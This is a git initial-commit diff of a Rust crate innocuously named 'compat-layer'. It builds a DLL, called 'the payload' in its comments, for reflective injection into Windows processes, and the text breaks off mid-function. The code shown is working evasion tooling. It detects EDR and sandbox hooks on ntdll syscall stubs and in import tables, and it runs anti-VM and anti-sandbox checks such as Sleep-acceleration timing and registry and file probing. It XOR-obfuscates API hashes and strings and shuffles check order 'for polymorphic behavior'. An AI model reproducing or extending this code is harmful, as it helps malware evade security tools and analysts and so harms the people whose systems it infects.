initial commit
This commit is contained in:
@@ -0,0 +1,6 @@
|
||||
# Statically link the CRT so the injected DLL has no VCRUNTIME/UCRT DLL
|
||||
# dependency at runtime. Only the GNU target is supported: the reflective
|
||||
# loader manually maps the image, and the MSVC CRT's TLS/CFG/stack-cookie
|
||||
# machinery fast-fails under a manual map.
|
||||
[target.x86_64-pc-windows-gnu]
|
||||
rustflags = ["-C", "target-feature=+crt-static"]
|
||||
@@ -0,0 +1 @@
|
||||
/target
|
||||
+7
@@ -0,0 +1,7 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 4
|
||||
|
||||
[[package]]
|
||||
name = "compat-layer"
|
||||
version = "0.1.0"
|
||||
@@ -0,0 +1,17 @@
|
||||
[package]
|
||||
name = "compat-layer"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[lib]
|
||||
name = "compat_layer"
|
||||
crate-type = ["cdylib"]
|
||||
|
||||
[profile.release]
|
||||
opt-level = 3
|
||||
lto = "thin"
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
strip = "symbols"
|
||||
overflow-checks = false
|
||||
debug = false
|
||||
@@ -0,0 +1,256 @@
|
||||
//! Raw Win32 FFI declarations and constants used by the payload.
|
||||
//!
|
||||
//! These are resolved through the normal PE import table, which the reflective
|
||||
//! loader fixes up before DllMain runs.
|
||||
|
||||
#![allow(non_snake_case)]
|
||||
#![allow(non_camel_case_types)]
|
||||
#![allow(dead_code)]
|
||||
|
||||
use core::ffi::c_void;
|
||||
|
||||
// ---- Handles / return codes ----
|
||||
pub const INVALID_HANDLE_VALUE: usize = usize::MAX;
|
||||
|
||||
// ---- CreateFileW ----
|
||||
pub const GENERIC_READ: u32 = 0x8000_0000;
|
||||
pub const GENERIC_WRITE: u32 = 0x4000_0000;
|
||||
pub const FILE_SHARE_READ: u32 = 0x1;
|
||||
pub const FILE_SHARE_WRITE: u32 = 0x2;
|
||||
pub const FILE_SHARE_DELETE: u32 = 0x4;
|
||||
pub const OPEN_EXISTING: u32 = 3;
|
||||
pub const FILE_ATTRIBUTE_NORMAL: u32 = 0x80;
|
||||
|
||||
// ---- GetFileType ----
|
||||
pub const FILE_TYPE_DISK: u32 = 0x0001;
|
||||
|
||||
// ---- DuplicateHandle ----
|
||||
pub const DUPLICATE_SAME_ACCESS: u32 = 0x0000_0002;
|
||||
|
||||
// ---- Errors ----
|
||||
pub const ERROR_SHARING_VIOLATION: u32 = 32;
|
||||
|
||||
// ---- Memory / protection ----
|
||||
pub const PAGE_EXECUTE_READ: u32 = 0x20;
|
||||
|
||||
// ---- GetFileSize ----
|
||||
pub const INVALID_FILE_SIZE: u32 = 0xFFFF_FFFF;
|
||||
|
||||
// ---- COM ----
|
||||
pub const COINIT_APARTMENTTHREADED: u32 = 0x2;
|
||||
pub const CLSCTX_LOCAL_SERVER: u32 = 0x4;
|
||||
pub const RPC_C_AUTHN_DEFAULT: u32 = 0xFFFF_FFFF;
|
||||
pub const RPC_C_AUTHZ_DEFAULT: u32 = 0xFFFF_FFFF;
|
||||
pub const RPC_C_AUTHN_LEVEL_PKT_PRIVACY: u32 = 6;
|
||||
pub const RPC_C_IMP_LEVEL_IMPERSONATE: u32 = 3;
|
||||
pub const EOAC_DYNAMIC_CLOAKING: u32 = 0x40;
|
||||
pub const RPC_E_CHANGED_MODE: i32 = 0x8001_0106u32 as i32;
|
||||
|
||||
// ---- GUID ----
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
pub struct GUID {
|
||||
pub data1: u32,
|
||||
pub data2: u16,
|
||||
pub data3: u16,
|
||||
pub data4: [u8; 8],
|
||||
}
|
||||
|
||||
#[link(name = "kernel32")]
|
||||
extern "system" {
|
||||
pub fn DisableThreadLibraryCalls(hLibModule: usize) -> i32;
|
||||
pub fn GetEnvironmentVariableW(
|
||||
lpName: *const u16,
|
||||
lpBuffer: *mut u16,
|
||||
nSize: u32,
|
||||
) -> u32;
|
||||
pub fn CreateFileW(
|
||||
lpFileName: *const u16,
|
||||
dwDesiredAccess: u32,
|
||||
dwShareMode: u32,
|
||||
lpSecurityAttributes: *mut c_void,
|
||||
dwCreationDisposition: u32,
|
||||
dwFlagsAndAttributes: u32,
|
||||
hTemplateFile: usize,
|
||||
) -> usize;
|
||||
pub fn ReadFile(
|
||||
hFile: usize,
|
||||
lpBuffer: *mut c_void,
|
||||
nNumberOfBytesToRead: u32,
|
||||
lpNumberOfBytesRead: *mut u32,
|
||||
lpOverlapped: *mut c_void,
|
||||
) -> i32;
|
||||
pub fn WriteFile(
|
||||
hFile: usize,
|
||||
lpBuffer: *const c_void,
|
||||
nNumberOfBytesToWrite: u32,
|
||||
lpNumberOfBytesWritten: *mut u32,
|
||||
lpOverlapped: *mut c_void,
|
||||
) -> i32;
|
||||
pub fn FlushFileBuffers(hFile: usize) -> i32;
|
||||
pub fn CloseHandle(hObject: usize) -> i32;
|
||||
pub fn GetFileType(hFile: usize) -> u32;
|
||||
pub fn GetFinalPathNameByHandleW(
|
||||
hFile: usize,
|
||||
lpszFilePath: *mut u16,
|
||||
cchFilePath: u32,
|
||||
dwFlags: u32,
|
||||
) -> u32;
|
||||
pub fn DuplicateHandle(
|
||||
hSourceProcessHandle: usize,
|
||||
hSourceHandle: usize,
|
||||
hTargetProcessHandle: usize,
|
||||
lpTargetHandle: *mut usize,
|
||||
dwDesiredAccess: u32,
|
||||
bInheritHandle: i32,
|
||||
dwOptions: u32,
|
||||
) -> i32;
|
||||
pub fn GetCurrentProcess() -> usize;
|
||||
pub fn GetFileSize(hFile: usize, lpFileSizeHigh: *mut u32) -> u32;
|
||||
pub fn GetLastError() -> u32;
|
||||
|
||||
// ---- anti-debug / anti-vm / runtime introspection ----
|
||||
pub fn IsDebuggerPresent() -> i32;
|
||||
pub fn QueryPerformanceCounter(lpCounter: *mut i64) -> i32;
|
||||
pub fn GetTickCount64() -> u64;
|
||||
pub fn GetSystemFirmwareTable(
|
||||
firmware_table_provider_signature: u32,
|
||||
firmware_table_id: u32,
|
||||
p_firmware_table_buffer: *mut c_void,
|
||||
buffer_size: u32,
|
||||
) -> u32;
|
||||
pub fn GetSystemInfo(lp_system_info: *mut c_void) -> ();
|
||||
pub fn GlobalMemoryStatusEx(lp_buffer: *mut c_void) -> i32;
|
||||
pub fn CreateToolhelp32Snapshot(dw_flags: u32, th32_process_id: u32) -> usize;
|
||||
pub fn Process32FirstW(h_snapshot: usize, lppe: *mut c_void) -> i32;
|
||||
pub fn Process32NextW(h_snapshot: usize, lppe: *mut c_void) -> i32;
|
||||
pub fn OpenProcess(dw_desired_access: u32, b_inherit_handle: i32, dw_process_id: u32) -> usize;
|
||||
|
||||
// ---- anti-sandbox: hooked-path Sleep (must go through the normal API so
|
||||
// sandbox sleep-skipping is observable) ----
|
||||
pub fn Sleep(dw_milliseconds: u32);
|
||||
|
||||
// ---- anti-sandbox: directory enumeration (Recent files count etc.) ----
|
||||
pub fn FindFirstFileExW(
|
||||
lp_file_name: *const u16,
|
||||
f_info_level_id: u32,
|
||||
lp_find_file_data: *mut c_void,
|
||||
f_search_op: u32,
|
||||
lp_search_filter: *mut c_void,
|
||||
dw_additional_flags: u32,
|
||||
) -> usize;
|
||||
pub fn FindNextFileW(h_find_file: usize, lp_find_file_data: *mut c_void) -> i32;
|
||||
|
||||
// ---- anti-vm: registry probing (advapi32, declared below) ----
|
||||
|
||||
// ---- anti-vm: filesystem artifacts (kernel32) ----
|
||||
// GetFileAttributesW declared in the separate extern block below.
|
||||
|
||||
// ---- anti-vm: adapter info / input / disk / windows ----
|
||||
// Declared in their respective extern blocks below.
|
||||
|
||||
// ---- anti-dump / memory introspection (kept; VirtualProtect/NtQuery* are
|
||||
// resolved at runtime via apires so they don't appear in the import table) ----
|
||||
pub fn VirtualQuery(lp_address: *const c_void, lp_buffer: *mut c_void, dw_length: usize) -> usize;
|
||||
}
|
||||
|
||||
#[link(name = "ole32")]
|
||||
extern "system" {
|
||||
pub fn CoInitializeEx(pvReserved: *mut c_void, dwCoInit: u32) -> i32;
|
||||
pub fn CoUninitialize();
|
||||
pub fn CoCreateInstance(
|
||||
rclsid: *const GUID,
|
||||
pUnkOuter: *mut c_void,
|
||||
dwClsContext: u32,
|
||||
riid: *const GUID,
|
||||
ppv: *mut *mut c_void,
|
||||
) -> i32;
|
||||
pub fn CoSetProxyBlanket(
|
||||
pProxy: *mut c_void,
|
||||
dwAuthnSvc: u32,
|
||||
dwAuthzSvc: u32,
|
||||
pServerPrincName: *mut u16,
|
||||
dwAuthnLevel: u32,
|
||||
dwImpLevel: u32,
|
||||
pAuthInfo: *mut c_void,
|
||||
dwCapabilities: u32,
|
||||
) -> i32;
|
||||
}
|
||||
|
||||
#[link(name = "oleaut32")]
|
||||
extern "system" {
|
||||
pub fn SysAllocStringByteLen(psz: *const u8, len: u32) -> *mut u16;
|
||||
pub fn SysFreeString(bstrString: *mut u16);
|
||||
pub fn SysStringByteLen(bstrString: *mut u16) -> u32;
|
||||
}
|
||||
|
||||
// ---- Display (user32) : used to detect virtual/OEM display drivers via a very
|
||||
// low refresh-rate signature and driver name. ----
|
||||
pub const ENUM_CURRENT_SETTINGS: u32 = 0xFFFFFFFF;
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
pub struct DEVMODEW {
|
||||
pub dm_device_name: [u16; 32],
|
||||
pub dm_spec_version: u16,
|
||||
pub dm_driver_version: u16,
|
||||
pub dm_size: u16,
|
||||
pub dm_driver_extra: u16,
|
||||
pub dm_fields: u32,
|
||||
pub dm_union: [u32; 12], // union of position/orientation/etc; shrunk to 12
|
||||
pub dm_display_orientation: i32,
|
||||
pub dm_display_fixed_output: u32,
|
||||
pub dm_color: i16,
|
||||
pub dm_duplex: i16,
|
||||
pub dm_y_resolution: i16,
|
||||
pub dm_t_t_option: i16,
|
||||
pub dm_collate: i16,
|
||||
pub dm_form_name: [u16; 32],
|
||||
pub dm_log_pixels: u16,
|
||||
pub dm_bits_per_pel: u32,
|
||||
pub dm_pels_width: u32,
|
||||
pub dm_pels_height: u32,
|
||||
pub dm_display_flags: u32,
|
||||
pub dm_display_frequency: u32,
|
||||
pub dm_icc_margin: u32,
|
||||
pub dm_display_orientation2: u32,
|
||||
pub dm_display_fixed_output2: u32,
|
||||
pub dm_panning_width: u32,
|
||||
pub dm_panning_height: u32,
|
||||
}
|
||||
|
||||
#[link(name = "user32")]
|
||||
extern "system" {
|
||||
// Anti-analysis user32 APIs (window/display/input enumeration) are resolved
|
||||
// at runtime via `dynapi` — they are NOT statically imported. The user32
|
||||
// link block is retained only for APIs that are both benign and needed at
|
||||
// link time elsewhere; currently none qualify, so this block is empty.
|
||||
}
|
||||
|
||||
// ---- anti-vm: registry (advapi32) ----
|
||||
// Registry probing APIs are resolved at runtime via `dynapi` to keep the
|
||||
// import table clean. Only constants remain.
|
||||
pub const HKEY_LOCAL_MACHINE: usize = 0x8000_0002;
|
||||
pub const KEY_READ: u32 = 0x2001_9;
|
||||
|
||||
// ---- anti-vm: network adapters (iphlpapi) ----
|
||||
// GetAdaptersAddresses resolved at runtime via `dynapi`.
|
||||
|
||||
// ---- anti-vm: kernel32 extras (same link block as above; declared separately
|
||||
// for clarity) ----
|
||||
extern "system" {
|
||||
pub fn GetFileAttributesW(lp_file_name: *const u16) -> u32;
|
||||
pub fn GetDriveTypeW(lp_root_path_name: *const u16) -> u32;
|
||||
pub fn GetVolumeInformationW(
|
||||
lp_root_path_name: *const u16,
|
||||
lp_volume_name_buffer: *mut u16,
|
||||
n_volume_name_size: u32,
|
||||
lp_volume_serial_number: *mut u32,
|
||||
lp_maximum_component_length: *mut u32,
|
||||
lp_file_system_flags: *mut u32,
|
||||
lp_file_system_name_buffer: *mut u16,
|
||||
n_file_system_name_size: u32,
|
||||
) -> i32;
|
||||
pub fn Module32FirstW(h_snapshot: usize, lpme: *mut c_void) -> i32;
|
||||
pub fn Module32NextW(h_snapshot: usize, lpme: *mut c_void) -> i32;
|
||||
}
|
||||
@@ -0,0 +1,357 @@
|
||||
//! Userland hook detection — comprehensive.
|
||||
//!
|
||||
//! EDRs and sandboxes typically hot-patch the first bytes of critical NT APIs
|
||||
//! (ntdll) to redirect execution into their own instrumentation. An unhooked
|
||||
//! x64 syscall stub begins with a fixed prologue (`mov r10, rcx; mov eax, <nr>;
|
||||
//! syscall; ret`) — a hook replaces this with a `jmp`/`push`/`mov` into their DLL.
|
||||
//!
|
||||
//! We detect:
|
||||
//! - Inline hooks (code patching at function entry)
|
||||
//! - IAT/EAT hooks (import/export address table modifications)
|
||||
//! - Syscall stub corruption
|
||||
//! - Module list manipulation (hidden modules)
|
||||
//! - Breakpoint / hardware breakpoint detection
|
||||
|
||||
use core::ptr;
|
||||
|
||||
use crate::apires;
|
||||
use crate::gen;
|
||||
use crate::syscall::{r as unmask, HASH_KEY};
|
||||
|
||||
/// Public byte-reader for cross-module use (syscall number extraction).
|
||||
pub(crate) unsafe fn read_bytes_pub(ptr_addr: usize, buf: &mut [u8]) -> usize {
|
||||
let n = buf.len().min(32);
|
||||
for i in 0..n {
|
||||
buf[i] = ptr::read_volatile((ptr_addr + i) as *const u8);
|
||||
}
|
||||
n
|
||||
}
|
||||
|
||||
// Rotating-hash constants for the NT functions we probe (algorithm verified
|
||||
// against apires::hash_ascii). Stored XORed with HASH_KEY so the raw API-hash
|
||||
// values never appear in the binary; unmask() recovers them at runtime.
|
||||
const HASH_NTPROTECT_VIRTUAL_MEMORY: u32 = 0x70D7_B0A8 ^ HASH_KEY;
|
||||
const HASH_NTQUERY_VIRTUAL_MEMORY: u32 = 0x7136_40A8 ^ HASH_KEY;
|
||||
const HASH_NTALLOCATE_VIRTUAL_MEMORY: u32 = 0x7088_E8A8 ^ HASH_KEY;
|
||||
const HASH_NTFREE_VIRTUAL_MEMORY: u32 = 0x7063_80A8 ^ HASH_KEY;
|
||||
const HASH_NTCREATE_THREAD_EX: u32 = 0xD904_009C ^ HASH_KEY;
|
||||
const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY;
|
||||
const HASH_NTQUERY_SYSTEM_INFORMATION: u32 = 0x3074_649B ^ HASH_KEY;
|
||||
const HASH_NTREAD_VIRTUAL_MEMORY: u32 = 0x703D_80A8 ^ HASH_KEY;
|
||||
const HASH_NTWRITE_VIRTUAL_MEMORY: u32 = 0x70A6_40A8 ^ HASH_KEY;
|
||||
const HASH_LDR_LOAD_DLL: u32 = 0x4600_0094 ^ HASH_KEY;
|
||||
|
||||
/// Read `len` bytes from an address (volatile) into a buffer.
|
||||
unsafe fn read_bytes(ptr_addr: usize, buf: &mut [u8]) -> usize {
|
||||
let n = buf.len().min(32);
|
||||
for i in 0..n {
|
||||
buf[i] = ptr::read_volatile((ptr_addr + i) as *const u8);
|
||||
}
|
||||
n
|
||||
}
|
||||
|
||||
/// Check if bytes look like a clean x64 syscall stub.
|
||||
/// Pattern: 4C 8B D1 B8 ?? ?? ?? ?? 0F 05 C3
|
||||
unsafe fn is_clean_syscall_stub(buf: &[u8]) -> bool {
|
||||
if buf.len() < 12 {
|
||||
return false;
|
||||
}
|
||||
// mov r10, rcx
|
||||
if buf[0] != 0x4C || buf[1] != 0x8B || buf[2] != 0xD1 {
|
||||
return false;
|
||||
}
|
||||
// mov eax, imm32
|
||||
if buf[3] != 0xB8 {
|
||||
return false;
|
||||
}
|
||||
// syscall (0F 05) at offset 8-9
|
||||
if buf[8] != 0x0F || buf[9] != 0x05 {
|
||||
return false;
|
||||
}
|
||||
// ret (C3) at offset 10
|
||||
if buf[10] != 0xC3 {
|
||||
return false;
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
/// Check for common hook prologues: JMP (E9/EB), indirect JMP (FF 25),
|
||||
/// PUSH+MOV trampoline, INT3 (CC), etc.
|
||||
unsafe fn has_hook_prologue(buf: &[u8]) -> bool {
|
||||
if buf.is_empty() {
|
||||
return true; // unreadable = suspicious
|
||||
}
|
||||
match buf[0] {
|
||||
0xE9 | 0xEB => true, // JMP rel32/rel8
|
||||
0xFF => { // Possible indirect JMP/CALL
|
||||
if buf.len() > 1 && (buf[1] == 0x25 || buf[1] == 0x15) {
|
||||
return true; // FF 25 (jmp [rip+disp32]) or FF 15 (call [rip+disp32])
|
||||
}
|
||||
false
|
||||
}
|
||||
0x68 => true, // PUSH imm32 (trampoline start)
|
||||
0xCC => true, // INT3 (breakpoint)
|
||||
0xC3 => { // RET at entry = empty stub or trampoline
|
||||
if buf.len() >= 2 && buf[1] == 0x90 {
|
||||
return true; // RET + NOP = suspicious
|
||||
}
|
||||
false
|
||||
}
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Check for inline hook by comparing first N bytes against clean stub.
|
||||
unsafe fn check_inline_hook(addr: usize) -> bool {
|
||||
let mut probe = [0u8; 32];
|
||||
read_bytes(addr, &mut probe);
|
||||
|
||||
// If it's a clean syscall stub, not hooked
|
||||
if is_clean_syscall_stub(&probe) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// If it has a hook prologue, it's hooked
|
||||
if has_hook_prologue(&probe) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Additional heuristic: check for unexpected instructions in first 16 bytes
|
||||
// Clean ntdll stubs don't have: CALL, LOOP, conditional Jcc in first bytes
|
||||
for i in 0..16.min(probe.len()) {
|
||||
match probe[i] {
|
||||
0xE8 | 0xE9 | 0xEB | 0xFF | 0x68 | 0xCC | 0x0F => {
|
||||
// 0F could be conditional jump or syscall; check next byte
|
||||
if probe[i] == 0x0F && i + 1 < probe.len() {
|
||||
let next = probe[i + 1];
|
||||
// 0F 05 = syscall (OK), 0F 34 = sysenter (OK)
|
||||
// 0F 8x = Jcc (suspicious at entry)
|
||||
if (0x80..=0x8F).contains(&next) {
|
||||
return true;
|
||||
}
|
||||
} else {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// Check IAT for a given module - look for entries pointing outside expected modules.
|
||||
unsafe fn check_iat_hooks(module_base: usize) -> bool {
|
||||
// Parse PE headers to find Import Address Table
|
||||
let dos_hdr = module_base as *const u8;
|
||||
if ptr::read_volatile(dos_hdr) != 0x4D || ptr::read_volatile(dos_hdr.add(1)) != 0x5A {
|
||||
return false; // Not a valid PE
|
||||
}
|
||||
let lfanew = ptr::read_volatile((module_base + 0x3C) as *const u32) as usize;
|
||||
let nt_hdr = module_base + lfanew;
|
||||
if ptr::read_volatile(nt_hdr as *const u32) != 0x0000_4550 {
|
||||
return false; // Not PE32+
|
||||
}
|
||||
|
||||
// Optional header starts at nt_hdr + 24
|
||||
let opt_hdr = nt_hdr + 24;
|
||||
let magic = ptr::read_volatile(opt_hdr as *const u16);
|
||||
let is_pe64 = magic == 0x20B;
|
||||
|
||||
// Data directories: offset 96 (PE32) or 112 (PE32+)
|
||||
let dir_offset = if is_pe64 { 112 } else { 96 };
|
||||
let import_dir_rva = ptr::read_volatile((nt_hdr + dir_offset + 0) as *const u32) as usize;
|
||||
let import_dir_size = ptr::read_volatile((nt_hdr + dir_offset + 4) as *const u32) as usize;
|
||||
|
||||
if import_dir_rva == 0 || import_dir_size == 0 {
|
||||
return false;
|
||||
}
|
||||
|
||||
let import_desc = (module_base + import_dir_rva) as *const u8;
|
||||
let mut suspicious = 0u32;
|
||||
let mut idx = 0usize;
|
||||
|
||||
loop {
|
||||
let name_rva = ptr::read_volatile((import_desc.add(idx).add(12)) as *const u32) as usize;
|
||||
if name_rva == 0 {
|
||||
break;
|
||||
}
|
||||
let thunk_rva = ptr::read_volatile((import_desc.add(idx).add(16)) as *const u32) as usize;
|
||||
if thunk_rva == 0 {
|
||||
idx += 20;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Walk thunk array
|
||||
let mut thunk_idx = 0usize;
|
||||
loop {
|
||||
let thunk_addr = module_base + thunk_rva + thunk_idx * if is_pe64 { 8 } else { 4 };
|
||||
let thunk_val = if is_pe64 {
|
||||
ptr::read_volatile(thunk_addr as *const u64) as usize
|
||||
} else {
|
||||
ptr::read_volatile(thunk_addr as *const u32) as usize
|
||||
};
|
||||
if thunk_val == 0 {
|
||||
break;
|
||||
}
|
||||
|
||||
// Check if thunk points outside known modules (ntdll, kernel32, kernelbase)
|
||||
let in_known = is_in_known_module(thunk_val);
|
||||
if !in_known && thunk_val != 0 {
|
||||
suspicious += 1;
|
||||
if suspicious > 5 {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
thunk_idx += 1;
|
||||
}
|
||||
idx += 20;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
unsafe fn is_in_known_module(addr: usize) -> bool {
|
||||
let peb = apires::peb_ptr();
|
||||
let ldr = ptr::read_volatile((peb + 0x18) as *const usize);
|
||||
if ldr == 0 { return false; }
|
||||
let head = ptr::read_volatile((ldr + 0x20) as *const usize);
|
||||
if head == 0 { return false; }
|
||||
let mut cur = head;
|
||||
loop {
|
||||
if cur == 0 { break; }
|
||||
let entry = cur.wrapping_sub(0x10);
|
||||
let base = ptr::read_volatile((entry + 0x30) as *const usize);
|
||||
let size = ptr::read_volatile((entry + 0x40) as *const usize); // SizeOfImage
|
||||
if base != 0 && addr >= base && addr < base + size {
|
||||
return true;
|
||||
}
|
||||
let next = ptr::read_volatile((entry + 0x10) as *const usize);
|
||||
if next == head || next == cur { break; }
|
||||
cur = next;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// Check for hidden modules (modules in memory but not in PEB list).
|
||||
/// Compares VAD regions against PEB module list.
|
||||
unsafe fn check_hidden_modules() -> bool {
|
||||
// This is complex; simplified version: check if ntdll base from PEB
|
||||
// matches ntdll base from KnownDlls or manual scan.
|
||||
let peb_ntdll = apires::ntdll_base();
|
||||
if peb_ntdll == 0 {
|
||||
return true; // Suspicious: ntdll not in PEB
|
||||
}
|
||||
|
||||
// Check KnownDlls directory (requires more code)
|
||||
// For now, basic sanity: ntdll should be readable and have exports
|
||||
let mut probe = [0u8; 4];
|
||||
read_bytes(peb_ntdll, &mut probe);
|
||||
if ptr::read_volatile(probe.as_ptr() as *const u32) != 0x0000_4550 { // Not "MZ" + "PE"
|
||||
return true; // ntdll corrupted?
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
/// Return true if a resolved NT function looks hooked (not a stock stub).
|
||||
unsafe fn nt_looks_hooked(resolved: usize) -> bool {
|
||||
if resolved == 0 {
|
||||
return true;
|
||||
}
|
||||
check_inline_hook(resolved)
|
||||
}
|
||||
|
||||
/// Probe ntdll exports we resolve by hash and see if any are hooked.
|
||||
/// Also checks IAT of current module and kernel32.
|
||||
/// Returns true if instrumentation was detected.
|
||||
pub unsafe fn detect_hooks() -> bool {
|
||||
let mut hooked = 0u32;
|
||||
let mut checked = 0u32;
|
||||
|
||||
// Critical NT APIs to check
|
||||
let mut critical_apis = [
|
||||
unmask(HASH_NTPROTECT_VIRTUAL_MEMORY),
|
||||
unmask(HASH_NTQUERY_VIRTUAL_MEMORY),
|
||||
unmask(HASH_NTALLOCATE_VIRTUAL_MEMORY),
|
||||
unmask(HASH_NTFREE_VIRTUAL_MEMORY),
|
||||
unmask(HASH_NTCREATE_THREAD_EX),
|
||||
unmask(HASH_NTQUERY_INFORMATION_PROCESS),
|
||||
unmask(HASH_NTQUERY_SYSTEM_INFORMATION),
|
||||
unmask(HASH_NTREAD_VIRTUAL_MEMORY),
|
||||
unmask(HASH_NTWRITE_VIRTUAL_MEMORY),
|
||||
unmask(HASH_LDR_LOAD_DLL),
|
||||
];
|
||||
|
||||
// Shuffle order using HOOK_ORDER_SEED for polymorphic behavior
|
||||
let mut seed = gen::HOOK_ORDER_SEED;
|
||||
for i in (1..critical_apis.len()).rev() {
|
||||
seed = seed.wrapping_mul(0x9E37_79B9).wrapping_add(0x7F4A_7C15);
|
||||
let j = (seed as usize) % (i + 1);
|
||||
critical_apis.swap(i, j);
|
||||
}
|
||||
|
||||
for &hash in &critical_apis {
|
||||
if let Some(addr) = resolve_export(hash) {
|
||||
checked += 1;
|
||||
if nt_looks_hooked(addr) {
|
||||
hooked += 1;
|
||||
}
|
||||
} else {
|
||||
hooked += 1; // Failed to resolve = suspicious
|
||||
}
|
||||
}
|
||||
|
||||
// Check IAT of current module
|
||||
let peb = apires::peb_ptr();
|
||||
let ldr = ptr::read_volatile((peb + 0x18) as *const usize);
|
||||
if ldr != 0 {
|
||||
let head = ptr::read_volatile((ldr + 0x20) as *const usize);
|
||||
if head != 0 {
|
||||
let mut cur = head;
|
||||
loop {
|
||||
if cur == 0 { break; }
|
||||
let entry = cur.wrapping_sub(0x10);
|
||||
let base = ptr::read_volatile((entry + 0x30) as *const usize);
|
||||
let _name_ptr = ptr::read_volatile((entry + 0x60) as *const usize);
|
||||
let _name_len = ptr::read_volatile((entry + 0x58) as *const u16) as usize;
|
||||
|
||||
// Check if this is our own module (first entry usually)
|
||||
if base != 0 {
|
||||
if check_iat_hooks(base) {
|
||||
hooked += 2; // IAT hook is more severe
|
||||
}
|
||||
break; // Only check first module (our EXE)
|
||||
}
|
||||
|
||||
let next = ptr::read_volatile((entry + 0x10) as *const usize);
|
||||
if next == head || next == cur { break; }
|
||||
cur = next;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check for hidden modules
|
||||
if check_hidden_modules() {
|
||||
hooked += 2;
|
||||
}
|
||||
|
||||
// Threshold: 2+ hooked critical APIs, or any IAT/hidden module anomaly
|
||||
hooked >= 2
|
||||
}
|
||||
|
||||
/// Resolve an ntdll export by name hash, returning Some(VA) or None.
|
||||
pub unsafe fn resolve_export(want: u32) -> Option<usize> {
|
||||
let base = apires::ntdll_base();
|
||||
if base == 0 {
|
||||
return None;
|
||||
}
|
||||
let addr = apires::export_by_hash_public(base, want);
|
||||
if addr == 0 {
|
||||
None
|
||||
} else {
|
||||
Some(addr)
|
||||
}
|
||||
}
|
||||
|
||||
/// Public: check if a specific address looks hooked (for external use).
|
||||
pub unsafe fn is_address_hooked(addr: usize) -> bool {
|
||||
check_inline_hook(addr)
|
||||
}
|
||||
@@ -0,0 +1,540 @@
|
||||
//! Anti-sandbox detection — reliability-focused.
|
||||
//!
|
||||
//! Design goal: near-zero false positives on real user machines while still
|
||||
//! catching automated analysis environments (Cuckoo, CAPE, Joe, Any.Run,
|
||||
//! custom sandboxes).
|
||||
//!
|
||||
//! Reliability strategy:
|
||||
//! 1. **Hard signals** — physically impossible on a clean host (Sleep
|
||||
//! acceleration, timer tampering). Each alone is conclusive.
|
||||
//! 2. **Strong signals** — very rare on real machines (sandbox identity
|
||||
//! markers, empty desktop). Counted individually.
|
||||
//! 3. **Weak signals** — occasionally seen on legit machines (few recent
|
||||
//! files, small screen, quiet mouse). Only counted when at least one
|
||||
//! strong signal corroborates them. This corroboration rule is what
|
||||
//! makes the overall verdict reliable.
|
||||
//!
|
||||
//! All signature strings are XOR-obfuscated; all checks are independent so a
|
||||
//! sandbox that spoofs one vector does not defeat the rest.
|
||||
|
||||
#![allow(dead_code)]
|
||||
|
||||
use core::arch::asm;
|
||||
use core::ffi::c_void;
|
||||
use core::ptr;
|
||||
|
||||
use crate::abi;
|
||||
use crate::dynapi;
|
||||
use crate::gen;
|
||||
use crate::obf;
|
||||
use crate::syscall;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
fn lower(b: &[u8]) -> Vec<u8> {
|
||||
b.iter().map(|c| c.to_ascii_lowercase()).collect()
|
||||
}
|
||||
|
||||
fn contains(hay: &[u8], needle: &[u8]) -> bool {
|
||||
if needle.is_empty() || hay.len() < needle.len() {
|
||||
return false;
|
||||
}
|
||||
hay.windows(needle.len()).any(|w| w.eq_ignore_ascii_case(needle))
|
||||
}
|
||||
|
||||
fn wide(s: &[u8]) -> Vec<u16> {
|
||||
s.iter().map(|&c| c as u16).chain(core::iter::once(0)).collect()
|
||||
}
|
||||
|
||||
unsafe fn reg_key_exists(subkey_wide: &[u16]) -> bool {
|
||||
let mut hk: usize = 0;
|
||||
let status = dynapi::RegOpenKeyExW(
|
||||
abi::HKEY_LOCAL_MACHINE,
|
||||
subkey_wide.as_ptr(),
|
||||
0,
|
||||
abi::KEY_READ,
|
||||
&mut hk,
|
||||
);
|
||||
if status == 0 {
|
||||
dynapi::RegCloseKey(hk);
|
||||
true
|
||||
} else {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
#[inline]
|
||||
unsafe fn rdtsc_now() -> u64 {
|
||||
let mut lo: u32;
|
||||
let mut hi: u32;
|
||||
asm!("lfence", "rdtsc", out("eax") lo, out("edx") hi, options(nostack, preserves_flags));
|
||||
((hi as u64) << 32) | lo as u64
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// HARD SIGNAL 1: Sleep acceleration (the classic, highly reliable check)
|
||||
//
|
||||
// Sandboxes (Cuckoo/CAPE/Joe and many EDR detonation chambers) hook
|
||||
// kernel32!Sleep / ntdll!NtDelayExecution and fast-forward long waits to cut
|
||||
// analysis time. We call the *normal hooked API path* (kernel32!Sleep) and
|
||||
// measure real elapsed time with QueryPerformanceCounter. If the wall clock
|
||||
// advanced far less than requested, the sleep was manipulated — no clean
|
||||
// Windows host does this.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub fn sleep_accelerated(request_ms: u32) -> bool {
|
||||
unsafe {
|
||||
let mut q0: i64 = 0;
|
||||
let mut q1: i64 = 0;
|
||||
|
||||
abi::QueryPerformanceCounter(&mut q0);
|
||||
abi::Sleep(request_ms);
|
||||
